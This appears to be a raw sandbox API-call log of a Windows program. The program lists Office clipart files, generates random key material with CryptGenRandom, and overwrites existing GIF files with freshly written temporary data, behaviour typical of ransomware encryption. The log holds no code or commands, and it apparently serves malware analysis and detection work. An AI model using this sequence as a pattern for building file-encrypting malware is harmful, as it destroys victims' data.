	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1
	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1
	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1
	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1
	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1
	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1
	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1
	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1
	[0277.242] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1
	[0277.243] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1
	[0277.243] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1
	[0277.243] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc55757, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc55757, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1
	[0277.243] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc55757, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc55757, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1
	[0277.243] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc7b993, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1
	[0277.243] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00306_.WMF", cAlternateFileName="")) returned 1
	[0277.243] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc55757, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1
	[0277.243] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1
	[0277.243] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc55757, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1
	[0277.243] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1
	[0277.243] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc2f4b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc2f4b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1
	[0277.243] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1
	[0277.288] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00414_.WMF", cAlternateFileName="")) returned 1
	[0277.288] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x400c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00419_.WMF", cAlternateFileName="")) returned 1
	[0277.288] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00428_.WMF", cAlternateFileName="")) returned 1
	[0277.288] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00435_.WMF", cAlternateFileName="")) returned 1
	[0277.288] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00438_.WMF", cAlternateFileName="")) returned 1
	[0277.288] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22de, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00455_.WMF", cAlternateFileName="")) returned 1
	[0277.288] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00459_.WMF", cAlternateFileName="")) returned 1
	[0277.288] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00543_.WMF", cAlternateFileName="")) returned 1
	[0277.288] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x148c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00544_.WMF", cAlternateFileName="")) returned 1
	[0277.288] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeb7dac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeb7dac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeb7dac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00564_.WMF", cAlternateFileName="")) returned 1
	[0277.288] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00586_.WMF", cAlternateFileName="")) returned 1
	[0279.256] GetFileInformationByHandleEx (in: hFile=0x1b4, FileInformationClass=0x9, lpFileInformation=0xc000213c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000213c28) returned 1
	[0279.256] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001cc000, nNumberOfBytesToRead=0x1e30, lpNumberOfBytesRead=0xc000213b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001cc000*, lpNumberOfBytesRead=0xc000213b04*=0x1c30, lpOverlapped=0x0) returned 1
	[0279.284] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001cdc30, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000213b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001cdc30*, lpNumberOfBytesRead=0xc000213b04*=0x0, lpOverlapped=0x0) returned 1
	[0279.284] CloseHandle (hObject=0x1b4) returned 1
	[0279.284] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e400 | out: pbBuffer=0xc00000e400) returned 1
	[0279.284] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0001be710 | out: pbBuffer=0xc0001be710) returned 1
	[0279.285] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000501 | out: pbBuffer=0xc000000501) returned 1
	[0279.285] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\630d9861cf14f6270429108251dbbdc3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\630d9861cf14f6270429108251dbbdc3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0279.285] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e9c04 | out: lpMode=0xc0001e9c04) returned 0
	[0279.285] GetFileType (hFile=0x1b4) returned 0x1
	[0279.285] WriteFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x1d30, lpNumberOfBytesWritten=0xc0001e9bec, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0001e9bec*=0x1d30, lpOverlapped=0x0) returned 1
	[0279.329] CloseHandle (hObject=0x1b4) returned 1
	[0279.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0279.332] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e9d74 | out: lpMode=0xc0001e9d74) returned 0
	[0279.332] GetFileType (hFile=0x1b4) returned 0x1
	[0279.332] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\630d9861cf14f6270429108251dbbdc3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\630d9861cf14f6270429108251dbbdc3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0279.332] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0001e9d74 | out: lpMode=0xc0001e9d74) returned 0
	[0279.332] GetFileType (hFile=0x1b0) returned 0x1
	[0279.332] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0001ee000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesRead=0xc0001e9bd4*=0x1d30, lpOverlapped=0x0) returned 1
	[0279.332] WriteFile (in: hFile=0x1b4, lpBuffer=0xc0001ee000*, nNumberOfBytesToWrite=0x1d30, lpNumberOfBytesWritten=0xc0001e9b74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesWritten=0xc0001e9b74*=0x1d30, lpOverlapped=0x0) returned 1
	[0279.334] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0001ee000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ee000*, lpNumberOfBytesRead=0xc0001e9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0279.335] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\630d9861cf14f6270429108251dbbdc3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\630d9861cf14f6270429108251dbbdc3")) returned 0
	[0279.335] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\630d9861cf14f6270429108251dbbdc3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\630d9861cf14f6270429108251dbbdc3")) returned 0
	[0279.335] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\630d9861cf14f6270429108251dbbdc3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\630d9861cf14f6270429108251dbbdc3")) returned 0x20
	[0279.335] CloseHandle (hObject=0x1b0) returned 1
	[0279.335] CloseHandle (hObject=0x1b4) returned 1
	[0279.336] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\630d9861cf14f6270429108251dbbdc3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\630d9861cf14f6270429108251dbbdc3")) returned 1
	[0279.337] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e06)) returned 1
	[0279.365] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.365] WriteFile (in: hFile=0x0, lpBuffer=0xc0001c8000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.365] SetEvent (hEvent=0xfc) returned 1
	[0279.365] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e73)) returned 1
	[0279.530] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.530] WriteFile (in: hFile=0x0, lpBuffer=0xc000144000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0279.530] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec210f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec210f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xec210f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x205)) returned 1
